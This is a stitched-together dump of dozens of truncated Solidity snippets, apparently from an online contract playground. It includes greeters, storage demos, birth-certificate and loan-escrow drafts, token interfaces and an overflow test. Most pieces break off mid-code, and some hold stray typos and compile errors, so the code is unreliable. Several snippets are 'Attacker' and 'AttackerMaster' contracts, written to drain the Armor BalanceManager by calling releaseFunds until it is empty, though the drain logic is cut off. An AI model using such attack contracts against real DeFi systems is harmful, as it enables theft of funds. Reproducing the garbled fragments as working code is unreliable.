//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.0;
contract greeter {
address owner;
string greeting;
function greeter(string _greeting) public {
greeting = _greeting;
owner = msg.sender;
}
function kill () public
{ if (msg.sender == owner) selfdestruct(owner);
}
function greet () public constant returns (string)
{
return greeting;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.8.0;
contract BirthChain {
/********* Constructor to assign Government as admin *********/
address gov;
constructor() {
gov = msg.sender;
}
/********* Structures *********/
struct HospitalModel{
string name;
string location;
string contact;
address pubAdd;
}
struct MuncipalityModel{
string location;
string contact;
uint pincode;
address pubAdd;
}
struct BirthCertificateModel{
string name;
string fathersName;
string mothersName;
string dob;
string time;
string email;
string location;
address hospitalAddr;
address muncipalityAddr;
bool status;
}
/********* Mappings *********/
mapping (uint=>HospitalModel) public hospital;
mapping (uint=>MuncipalityModel) public muncipality;
mapping (uint=>BirthCertificateModel) bc;
mapping (address=>bool) isHospital;
mapping (address=>bool) isMuncipality;
mapping (bytes32=>uint) verifyedBc;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity 0.5.16;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
*
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}f
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
appple
}
uint value;
pragma solidity ^0.4.18;
contract Gastoken {
function free(uint256 value) public returns (bool success);
function freeUpTo(uint256 value) public returns (uint256 freed);
function freeFrom(address from, uint256 value) public returns (bool success);
function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}
contract Example {
// This function consumes a lot of gas
function expensiveStuff() private pure {
/* lots of expensive stuff */
}
/*
* Frees `free' tokens from the Gastoken at address `gas_token'.
* The freed tokens belong to this Example contract. The gas refund can pay
* for up to half of the gas cost of the total transaction in which this
* call occurs.
*/
function burnGasAndFree(address gas_token, uint256 free) public {
require(Gastoken(gas_token).free(free));
expensiveStuff();
}
/*
* Frees `free' tokens from the Gastoken at address `gas_token'.
* The freed tokens belong
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint256 _tranferBurnRate) public {
//require(_tranferBurnRate <= 100, "Burning Rate on Transfer cannot be more than 100%");
transferBurnRate = _tranferBurnRate;
}
function burnratePrecentage() public constant returns (uint256) {
return transferBurnRate;
}
function transferafterburn() public view returns (uint256) {
amount = 1000;
uint256 _burntAmount = amount * transferBurnRate / 100;
amount = amount - _burntAmount;
return amount;
}
uint256 amount;
uint256 transferBurnRate;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint256 _tranferBurnRate) public {
//require(_tranferBurnRate <= 100, "Burning Rate on Transfer cannot be more than 100%");
transferBurnRate = _tranferBurnRate;
}
function get() public constant returns (uint256) {
return transferBurnRate;
}
function transferafterburn() public view returns (uint256) {
amount = 1000;
uint256 _burntAmount = amount * transferBurnRate / 100;
amount = amount - _burntAmount;
return amount;
}
uint256 amount;
uint256 transferBurnRate;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint256 _tranferBurnRate) public {
//require(_tranferBurnRate <= 100, "Burning Rate on Transfer cannot be more than 100%");
transferBurnRate = _tranferBurnRate;
}
function get() public constant returns (uint256) {
return transferBurnRate;
}
function amounts() public view returns (uint256) {
amount = 1000;
uint256 _burntAmount = amount * transferBurnRate / 100;
amount = amount - _burntAmount;
return amount;
}
uint256 amount;
uint256 transferBurnRate;
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.8.0;
contract BirthChain {
/********* Constructor to assign Government as admin *********/
address public gov;
constructor() {
gov = msg.sender;
}
/********* Structures *********/
struct HospitalModel{
string name;
string location;
string contact;
address pubAdd;
}
struct MuncipalityModel{
string location;
string contact;
uint pincode;
address pubAdd;
}
struct BirthCertificateModel{
string name;
string fathersName;
string mothersName;
string dob;
string location;
address hospitalAddr;
address muncipalityAddr;
bool status;
}
/********* Mappings *********/
mapping (uint=>HospitalModel) public hospital;
mapping (uint=>MuncipalityModel) public muncipality;
mapping (uint=>BirthCertificateModel) public bc;
mapping (address=>bool) public isHospital;
mapping (address=>bool) public isMuncipality;
mapping (bytes32=>uint) verifyedBc;
/****
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IFastLoan {
event LoanRequestSubmitted(address, uint256, uint256);
//NOTE: can add more even emitter for other functions
event LenderRegistered(address);
event LoanRequestApproved(address, uint256);
event LoanPaymentRecorded(uint256);
/**
* @dev register lender.
*/
function registerLender(address _lender) external;
/**
* @dev create and submit request.
*/
function submitLoanRequest(address payable _borrower, uint256 _amount, uint256 _projectId, string memory _projectTitle) external;
//, uint _projectDuration) external;
/**
* @dev approve submitted request. Should be done by the superValidator or delegated validator
**/
function approveLoanRequest(bytes32 _requestId, address payable _lender,
uint8 _numberOfInstallments) external;
/**
* @dev record the payments of the loans by
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './IFastLoan.sol';
contract FastLoanEscrow is IFastLoan {
struct LoanRequest {
address payable borrower;
uint256 projectID;
string projectTitle;
uint projectDuration;
uint256 amount;
}
struct Loan {
uint256 projectID;
address payable lender;
address payable borrower;
uint256 amount;
uint256 afterInterestBalance;
uint256 interestAmount;
uint256 paymentEndTime;
uint8 requiredNofInstallments;
uint8 remainingNofInstallments;
bool isClosed;
}
mapping(address => uint256) public lenderWithdrawals;
mapping(address => uint256) private lenderDepositInEscrow;
uint256 public escrowBalance;
// Current implementation: nonce as state variable counter
uint256 private nonce;
// Request info
bytes32[] private requestIDs;
mapping(bytes32 => LoanRequest) private requests;
// Loan info. // one loan per user.
mapping(address => bytes8) private userLoan;
mapping(bytes32 => Loan) private
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './IFastLoan.sol';
contract FastLoanEscrow is IFastLoan {
struct LoanRequest {
address payable borrower;
uint256 projectID;
string projectTitle;
uint projectDuration;
uint256 amount;
}
struct Loan {
uint256 projectID;
address payable lender;
address payable borrower;
uint256 amount;
uint256 afterInterestBalance;
uint256 interestAmount;
uint256 paymentEndTime;
uint8 numberOfInstallments;
bool isClosed;
}
mapping(address => uint256) public lenderWithdrawals;
mapping(address => uint256) private lenderDepositInEscrow;
uint256 public escrowBalance;
// Current implementation: nonce as state variable counter
uint256 private nonce;
// Request info
bytes32[] private requestIDs;
mapping(bytes32 => LoanRequest) private requests;
// Loan info. // one loan per user.
mapping(address => bytes8) private userLoan;
mapping(bytes32 => Loan) private loanDB;
// Aggregate Lenders info
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './IFastLoan.sol';
contract FastLoanEscrow is IFastLoan {
struct LoanRequest {
address payable borrower;
uint256 projectID;
string projectTitle;
uint projectDuration;
uint256 amount;
}
struct Loan {
uint256 projectID;
address payable lender;
address payable borrower;
uint256 amount;
uint256 afterInterestBalance;
uint256 interestAmount;
uint256 paymentEndTime;
uint8 numberOfInstallments;
bool isClosed;
}
mapping(address => uint256) public lenderWithdrawals;
mapping(address => uint256) private lenderDepositInEscrow;
uint256 public escrowBalance;
// Current implementation: nonce as state variable counter
uint256 private nonce;
// Request info
bytes32[] private requestIDs;
mapping(bytes32 => LoanRequest) private requests;
// Loan info. // one loan per user.
mapping(address => bytes8) private userLoan;
mapping(bytes32 => Loan) private loanDB;
// Aggregate Lenders info
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './EscrowLoan.sol';
contract FastLoan {
// consider using access control from openzepplin for Escrow part.
struct LoanRequest {
address payable borrower;
uint256 projectID;
string projectTitle;
uint projectDuration;
uint256 amount;
}
struct Loan {
uint256 projectID;
address payable lender;
address payable borrower;
uint256 amount;
uint256 currentBalance;
uint256 interestAmount;
uint256 paymentEndTime;
uint numberOfInstallments;
bool isClosed;
}
EscrowLoan escrowContract;
mapping(address => uint256) public lenderDeposits;
// Current implementation: nonce as state variable counter
uint256 private nonce;
// Request info
bytes32[] private requestIDs;
mapping(bytes32 => LoanRequest) private requests;
// Loan info. // one loan per user.
mapping(address => bytes8) private userLoan;
mapping(bytes32 => Loan) private loanDB;
//private fixedInterestRate = (5 / 100);
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
contract FastLoan {
// consider using access control from openzepplin for Escrow part.
struct LoanRequest {
address borrower;
uint256 projectID;
string projectTitle;
uint projectDuration;
uint256 amount;
}
struct Loan {
uint256 projectID;
address lender;
address borrower;
uint256 amount;
uint256 currentBalance;
uint256 interestAmount;
uint256 paymentEndTime;
uint numberOfInstallments;
bool isClosed;
}
// Current implementation: nonce as state variable counter
uint256 private nonce;
// Request info
bytes32[] private requestIDs;
mapping(bytes32 => LoanRequest) private requests;
// Loan info. // one loan per user.
mapping(address => bytes8) private userLoan;
mapping(bytes32 => Loan) private loanDB;
//private fixedInterestRate = (5 / 100);
//uint private fixedInterestRate = (5 / 100);
// Aggregate Lenders info
address[] private allLenders;
// Aggregate borrowers' inf
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
contract FastLoan {
// consider using access control from openzepplin for Escrow part.
struct LoanRequest {
address borrower;
uint256 projectID;
string projectTitle;
uint projectDuration;
uint256 amount;
}
struct Loan {
uint256 projectID;
address lender;
address borrower;
uint256 amount;
uint256 currentBalance;
uint256 interestAmount;
uint256 paymentEndTime;
uint numberOfInstallments;
bool isClosed;
}
// struct CreditHistoryOracle{
// uint creditScore;
// uint dateCreditScoreReceived;
// }
// mapping (address => CreditHistoryOracle) private borroweCreditHistory;
// Current implementation: nonce as state variable counter
uint256 private nonce;
// Request info
bytes32[] private requestIDs;
mapping(bytes32 => LoanRequest) private requests;
// Loan info. // one loan per user.
mapping(address => bytes8) private userLoan;
mapping(bytes32 => Loan) private loanDB;
pragma solidity ^0.4.24;
contract PrivateAPIContract {
string public result;
function TestURLBuilder(string apiKey, uint _time, string _ticker, uint _days) {
// result = uintToString(12345678901234567890);
result = string(abi.encodePacked("https://www.okex.com/v3/chainlink-midlayer/pc/public/implied-volatility?underlying=", _ticker, "&t="));
result = appendUintToString(result, _time);
result = string(abi.encodePacked(result,"&days="));
result = appendUintToString(result, _days);
result = string(abi.encodePacked(result,"&apiKey=", apiKey));
}
function uintToString(uint v) constant returns (string str) {
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = byte(48 + remainder);
}
bytes memory s = new bytes(i);
for (uint j = 0; j < i; j++) {
s[j] = reverse
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
contract FastLoan {
// consider using access control from openzepplin for Escrow part.
struct LoanRequest {
address borrower;
uint projectID;
string projectTitle;
uint projectDuration;
uint amount;
//uint bonus;
//uint certifications -offchain;
//string description - offchain;
}
struct Loan {
//uint id;
uint projectID;
address lender;
address borrower;
uint amount;
uint interestAmount;
uint paymentEndTime;
uint numberOfInstallments;
bool isClosed;
//uint certTarget; // Target number of certifications
//uint curCert; // Current number of certifications
//string description;
}
struct CreditHistoryOracle{
uint creditScore;
uint dateCreditScoreReceived;
}
mapping (address => CreditHistoryOracle) borroweCreditHistory;
// Current implementation: nonce as state variable counter
uint256 private nonce;
// Request info
bytes32[] public request
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
contract FastLoan {
// consider using access control from openzepplin for Escrow part.
struct LoanRequest {
address borrower;
uint projectID;
string projectTitle;
uint projectDuration;
uint amount;
//uint bonus;
//uint certifications -offchain;
//string description - offchain;
}
struct Loan {
uint id;
address lender;
address borrower;
uint amount;
uint endTime;
uint interest;
uint projectID;
string projectTitle;
//uint certTarget; // Target number of certifications
//uint curCert; // Current number of certifications
//string description;
bool done;
}
struct CreditHistoryOracle{
uint creditScore;
uint dateCreditScoreReceived;
}
mapping (address => CreditHistoryOracle) borroweCreditHistory;
// Request info
bytes32[] public requestIDs;
mapping(bytes32 => LoanRequest) public requests;
// Loan info. // one loan per user.
mapping(address
pragma solidity ^0.4.24;
contract A {
string public result;
function TestURLBuilder(uint _time, string _ticker, uint _days) {
// result = uintToString(12345678901234567890);
result = string(abi.encodePacked("https://www.okex.com/v3/chainlink-midlayer/pc/public/implied-volatility?underlying=", _ticker, "&t="));
result = appendUintToString(result, _time);
result = string(abi.encodePacked(result,"&days="));
result = appendUintToString(result, _days);
}
function uintToString(uint v) constant returns (string str) {
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = byte(48 + remainder);
}
bytes memory s = new bytes(i);
for (uint j = 0; j < i; j++) {
s[j] = reversed[i - 1 - j];
}
str = string(s);
}
function appendUintToString(string inStr,
pragma solidity 0.8.0;
/*
This contract will be the new Master contract.
Since a successful exploit requires the BalanceManager to call the function getModule(),
this contract serves only to return the malicious attack contract.
*/
contract AttackerMaster {
// The contract where the attack exploit lays (attacker.sol, https://ethfiddle.com/sadCsoPiJV)
address attackAddress;
function getModule(bytes32 _key) external returns(address) {
returns(attackAddress);
}
constructor(address attackAddress_) {
attackAddress = attackAddress_;
}
pragma solidity 0.8.0;
interface ArmorBalanceManager {
function releaseFunds() external;
}
contract Attacker {
// Make sure that only the hacker can call this malicious contract
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
address armorBalanceManagerAddress;
address owner;
// The rewardBalance state of the BalanceManager contract
uint rewardBalance;
// The govBalance state of the BalanceManager contract
uint govBalance;
// Create the contract with the address (armor BalanaceManager contract) and the rewardBalance of the armor BalanceManager
constructor(address armorBalanceManagerAddress_, uint rewardBalance_, uint govBalance_) {
armorBalanceManagerAddress = armorBalanceManagerAddress_;
rewardBalance = rewardBalance_;
govBalance = govBalance_;
owner = msg.sender;
}
/*
Attack the armor contract by calling releaseFunds until the contract is empty.
Th
pragma solidity 0.8.0;
interface ArmorBalanceManager {
function releaseFunds() external;
}
contract Attacker {
// Make sure that only the hacker can call this malicious contract
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
address armorBalanceManagerAddress;
address owner;
// The rewardBalance state of the BalanceManager contract
uint rewardBalance;
// The govBalance state of the BalanceManager contract
uint govBalance;
// Create the contract with the address (armor BalanaceManager contract) and the rewardBalance of the armor BalanceManager
constructor(address armorBalanceManagerAddress_, uint rewardBalance_, uint govBalance_) {
armorBalanceManagerAddress = armorBalanceManagerAddress_;
rewardBalance = rewardBalance_;
govBalance = govBalance_;
owner = msg.sender;
}
/*
Attack the armor contract by calling releaseFunds until the contract is empty.
Th
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
contract FastLoan {
// consider using access control from openzepplin for Escrow part.
struct LoanRequest {
address borrower;
uint amount;
uint projectID;
string projectTitle;
uint projectDuration;
uint bonus;
//uint certifications -offchain;
//string description - offchain;
}
struct Loan {
address lender;
address borrower;
uint amount;
uint endTime;
uint interest;
uint projectID;
string projectTitle;
//uint certTarget; // Target number of certifications
//uint curCert; // Current number of certifications
//string description;
bool done;
}
struct CreditHistoryOracle{
uint creditScore;
uint dateCreditScoreReceived;
}
mapping (address => CreditHistoryOracle) borroweCreditHistory;
// Request info
bytes8[] public requestIDs;
mapping(bytes8 => LoanRequest) public requests;
// Loan info. // one loan per user.
mapping(address => bytes8) public userLoan;
mapping(
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
contract FastLoan {
// consider using access control from openzepplin for Escrow part.
struct LoanRequest {
address borrower;
uint amount;
uint projectID;
string projectTitle;
uint projectDuration;
uint bonus;
//uint certifications -offchain;
//string description - offchain;
}
struct Loan {
address lender;
address borrower;
uint amount;
uint endTime;
uint interest;
uint projectID;
string projectTitle;
//uint certTarget; // Target number of certifications
//uint curCert; // Current number of certifications
//string description;
bool done;
}
struct CreditHistory{
uint creditScore;
uint dateCreditScoreReceived;
}
mapping (address => CreditHistory) borroweCreditHistory;
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;
contract FastLoan {
// consider using access control from openzepplin for Escrow part.
struct LoanRequest {
address borrower;
uint amount;
uint projectID;
string projectTitle;
uint projectDuration;
uint bonus;
//uint certifications -offchain;
//string description - offchain;
}
struct Loan {
address lender;
address borrower;
uint amount;
uint endTime;
uint interest;
uint projectID;
string projectTitle;
//uint certTarget; // Target number of certifications
//uint curCert; // Current number of certifications
//string description;
bool done;
}
struct CreditHistory{
uint creditScore;
uint dateCreditScoreReceived;
}
mapping (address => CreditHistory) borroweCreditHistory;
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.8.0;
contract BirthChain {
/********* Constructor to assign Government as admin *********/
address public gov;
constructor() {
gov = msg.sender;
}
/********* Structures *********/
struct HospitalModel{
string name;
string location;
string contact;
address pubAdd;
}
struct MuncipalityModel{
string location;
string contact;
uint pincode;
address pubAdd;
}
struct BirthCertificateModel{
string name;
string fathersName;
string mothersName;
string dob;
string location;
address hospitalAddr;
address muncipalityAddr;
bool status;
}
/********* Mappings *********/
mapping (uint=>HospitalModel) public hospital;
mapping (uint=>MuncipalityModel) public muncipality;
mapping (uint=>BirthCertificateModel) public bc;
mapping (address=>bool) public isHospital;
mapping (address=>bool) public isMuncipality;
mapping (bytes32=>uint) verifyedBc;
/****
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.8.0;
contract BirthChain {
/********* Constructor to assign Government as admin *********/
address public gov;
constructor() {
gov = msg.sender;
}
/********* Structures *********/
struct HospitalModel{
string name;
string location;
string contact;
address pubAdd;
}
struct MuncipalityModel{
string location;
string contact;
uint pincode;
address pubAdd;
}
struct BirthCertificateModel{
string name;
string fathersName;
string mothersName;
string dob;
string location;
address hospitalAddr;
address muncipalityAddr;
bool status;
}
/********* Mappings *********/
mapping (uint=>HospitalModel) public hospital;
mapping (uint=>MuncipalityModel) public muncipality;
mapping (uint=>BirthCertificateModel) public bc;
mapping (address=>bool) public isHospital;
mapping (address=>bool) public isMuncipality;
mapping (bytes32=>uint) verifyedBc;
/****
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.8.0;
contract BirthChain {
/********* Constructor to assign Government as admin *********/
address public gov;
constructor() {
gov = msg.sender;
}
/********* Structures *********/
struct HospitalModel{
string name;
string location;
string contact;
address pubAdd;
}
struct MuncipalityModel{
string location;
string contact;
uint pincode;
address pubAdd;
}
struct BirthCertificateModel{
string name;
string fathersName;
string mothersName;
string dob;
string location;
address hospitalAddr;
address muncipalityAddr;
bool status;
}
/********* Mappings *********/
mapping (uint=>HospitalModel) public hospital;
mapping (uint=>MuncipalityModel) public muncipality;
mapping (uint=>BirthCertificateModel) public bc;
mapping (address=>bool) public isHospital;
mapping (address=>bool) public isMuncipality;
mapping (bytes32=>uint) verifyedBc;
/*******
pragma solidity 0.4.24;
// Testing Uint256 underflow and overflow in Solidity
h
contract UintWrapping {
uint public zero = 0;
uint public max = 2**256-1;
// zero will end up at 2**256-1
function zeroMinus1() public {
zero -= 1;
}
// max will end up at 0
function maxPlus1() public {
max += 1;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.8.0;
contract BirthCert {
address public gov;
constructor() {
gov = msg.sender;
}
struct HospitalModel{
string name;
string location;
string contact;
address pubadd;
}
struct MuncipalityModel{
string location;
string contact;
uint pincode;
address pubadd;
}
struct BirthCertificateModel{
string name;
string fathersName;
string mothersName;
string dob;
uint hospitalId;
uint muncipalityId;
}
mapping (uint=>HospitalModel) public hospital;
mapping (uint=>MuncipalityModel) public muncipality;
mapping (uint=>BirthCertificateModel) public bc;
mapping (uint=>bool) public bcApprove;
mapping (bytes32=>uint) verifyedBc;
uint public hID = 256;
uint public mID = 512;
uint public bCID = 1024;
modifier onlyGov(){
require(gov == msg.sender,"only Gov");
_;
}
modifier onlyHospital(uint id){
require(hospital[id].pubadd == msg.sender,"only Hospital
pragma solidity 0.7.1;
contract CCRequest
{
address public Owner;
address public BankAgent;
string public LockerFriendlyName;
string public LockerIdentifier;
address public CurrentAuthorizedUser;
string public ExpirationDate;
string public Image;
address public ThirdPartyRequestor;
string public IntendedPurpose;
string public LockerStatus;
string public RejectionReason;
enum StateType { Requested, UnderReview, Approved, Rejected }
StateType public State;
constructor(string memory lockerFriendlyName, address bankAgent) public
{
Owner = msg.sender;
LockerFriendlyName = lockerFriendlyName;
State = StateType.Requested;
BankAgent = bankAgent;
}
function BeginReviewProcess() public
{
if (Owner == msg.sender)
{
revert();
}
BankAgent = msg.sender;
LockerStatus = "Pending";
State = StateType.DocumentReview;
}
function RejectApplication(strin
pragma solidity 0.8.0;
contract Smart2 {
struct Play {
address payable player;
uint256 timestamp;
}
mapping(uint => mapping(uint => Play)) public seassons;
constructor() {
//1 not working (Compiled)
// Works
seassons[0][0] = Play(payable(msg.sender), block.timestamp);
//2 not working (Compiled)
// Works
Play storage player = seassons[0][0];
// When using payable in the Play struct, you also have to use payable() for addresses you put into the struct.
player.player = payable(msg.sender);
player.timestamp = block.timestamp;
// Kept it commented out, look at line 17
//seassons[0][0] = Play(msg.sender, block.timestamp);
// Won't work, look at line 17
// seassons.push([(Play(msg.sender, block.timestamp))]);
}
pragma solidity 0.8.0;
contract Smart2 {
struct Play {
address payable player;
uint256 timestamp;
}
mapping(uint => mapping(uint => Play)) public seassons;
constructor() {
//1 not working (Compiled)
seassons[0][0] = Play(payable(msg.sender), block.timestamp);
//2 not working (Compiled)
Play storage player = seassons[0][0];
// When using payable in the Play struct, you also have to use payable() for addresses you put into the struct.
player.player = payable(msg.sender);
player.timestamp = block.timestamp;
// Kept it commented out since it was defined equally in line 17
//seassons[0][0] = Play(msg.sender, block.timestamp);
// Use as line 17
// seassons.push([(Play(msg.sender, block.timestamp))]);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Inbox {
string public message;
function Inbox(string initialMessage) public {
message = initialMessage;
}
function setMessage(string newMessage) public {
message = newMessage;
}
function getMessage() public view returns (string) {
return message;
}
pragma solidity ^0.7.0;
//SPDX-License-Identifier: UNLICENSED
contract sanity_check {
function welcome() public pure returns (string memory){
return "flag{}";
}
}
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function decimals() external view returns (uint);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function decimals() external view returns (uint);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
pragma solidity ^0.5.0;
interface RegisterSC{
function isBuyerExist(address addr) external view returns (bool);
}
contract PlasticBale{
address[] public plasticBale;
address payable[] public contributors;
address payable[] public tempArray;
uint public contribution; //Added here
// Bid variables
bool public isOpen;
uint public highestBid;
address payable public highestBidder;
uint public startTime;
uint public endTime;
struct buyer{
bool isExist;
uint placedBids;
uint deposit;
}
//Bidder[BuyerAddress]
mapping(address=>buyer) bidder;
//Seller is the auctionOwner
address payable public auctionOwner;
// Bidders are the Buyers
uint totalBidders;
constructor(address[] memory _plasticBale, address payable[] memory _contributors, address payable seller ) public {
plasticBale = _plasticBale;
contributors = _contributors;
auctionOwner =
pragma solidity 0.5.12;
contract TickeTron {
// Struct TicketSequence
// it consists of uint8 array of 6 elements;
struct TicketProof {
uint256 value;
uint256 ticketTime;
}
struct Player {
uint256 id;
address payable wallet;
// Dynamic Array of TicketSequence
TicketProof[] tickets;
uint256 ticketsCount;
}
// TRON Address for Admin
address payable public owner;
// Map for User Address and User Object
mapping(address => Player) public players;
/** Price for a Ticket - it would be TRON in future
For now I mean this is 0.01ETH
*/
uint private ticketPrice = 1000000000;
/** Counters */
uint256 public total_users = 50;
uint256 public total_deposited;
uint256 public total_withdraw;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor(address payable _owner) public {
owner = _owner;
}
/*
https://trx.is - decentralized investment platform based on TRON cryptocurrency.
email: [email protected]
telegram channel: @trxis
*/
pragma solidity 0.4.21;
contract TRXIS {
struct Tariff {
uint256 time;
uint256 percent;
}
struct Deposit {
uint256 tariff;
uint256 amount;
uint256 at;
}
uint256 DAY = 28800;
uint256 MIN_DEPOSIT = 100000000;
uint256 START_AT = 2762825;
uint256 timesmp = 1610801709000;
event DepositAt(address user, uint256 tariff, uint256 amount);
function checkRandom() public view returns (uint256) {
return random();
}
function random() internal view returns (uint256) {
uint256 randomnumber = uint256(
keccak256(timesmp, "TQdVjFryFPNS176yzchTW1QzpjiV2c6x7S")
) % 999;
randomnumber = randomnumber / 4 + 1;
if (randomnumber > 0 && randomnumber <= 250) {
return randomnumber;
}
if (randomnumber == 251) {
/*
https://trx.is - decentralized investment platform based on TRON cryptocurrency.
email: [email protected]
telegram channel: @trxis
*/
pragma solidity 0.4.21;
contract TRXIS {
struct Tariff {
uint256 time;
uint256 percent;
}
struct Deposit {
uint256 tariff;
uint256 amount;
uint256 at;
}
uint256 DAY = 28800;
uint256 MIN_DEPOSIT = 100000000;
uint256 START_AT = 2762825;
event DepositAt(address user, uint256 tariff, uint256 amount);
function checkRandom() public view returns (uint256) {
return random();
}
function random() internal view returns (uint256) {
uint256 randomnumber = uint256(
keccak256(now, msg.sender)
) % 999;
randomnumber = randomnumber / 4 + 1;
if (randomnumber > 0 && randomnumber <= 250) {
return randomnumber;
}
if (randomnumber == 251) {
return randomnumber - 250 + 1;
}
if (randomnumber == 0)
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.0;
contract Groups {
mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address =>
mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address =>
mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => mapping(address => bool))))))))))))))))))))))))))) userGroups;
constructor() {
userGroups[msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender]
[msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender]
[msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sender][msg.sen
pragma solidity ^0.6.2;
contract A {
address contractMaker = "0xF24DAf3feAA60F9b4a149E14d306c1536B925ce2";
address contractReceiver = "0xF24DAf3feAA60F9b4a149E14d306c1536B925ce2";
string contractDetail = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
uint256 contractDeadline = 1700000000;
bool isDiscardWithDeadline = false;
bool isDoneByMaker = false;
bool isDoneByReciver = false;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Foo {
struct Item {
uint[] test;
}
mapping (bytes32 => Thing) things;
struct Thing {
Item[] items;
}
function Foo(bytes32 id) {
Thing memory thing = Thing(new Item[](1));
things[id] = thing;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.6.4;
contract Collections {
struct User{
address userAddress;
uint balance;
}
Users[] users;
function getUsers() external returns()
pragma solidity 0.6.6;
pragma experimental ABIEncoderV2;
import "https://github.com/sushiswap/sushiswap/blob/master/contracts/uniswapv2/interfaces/IUniswapV2Router02.sol";
import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/FlashLoanReceiverBase.sol";
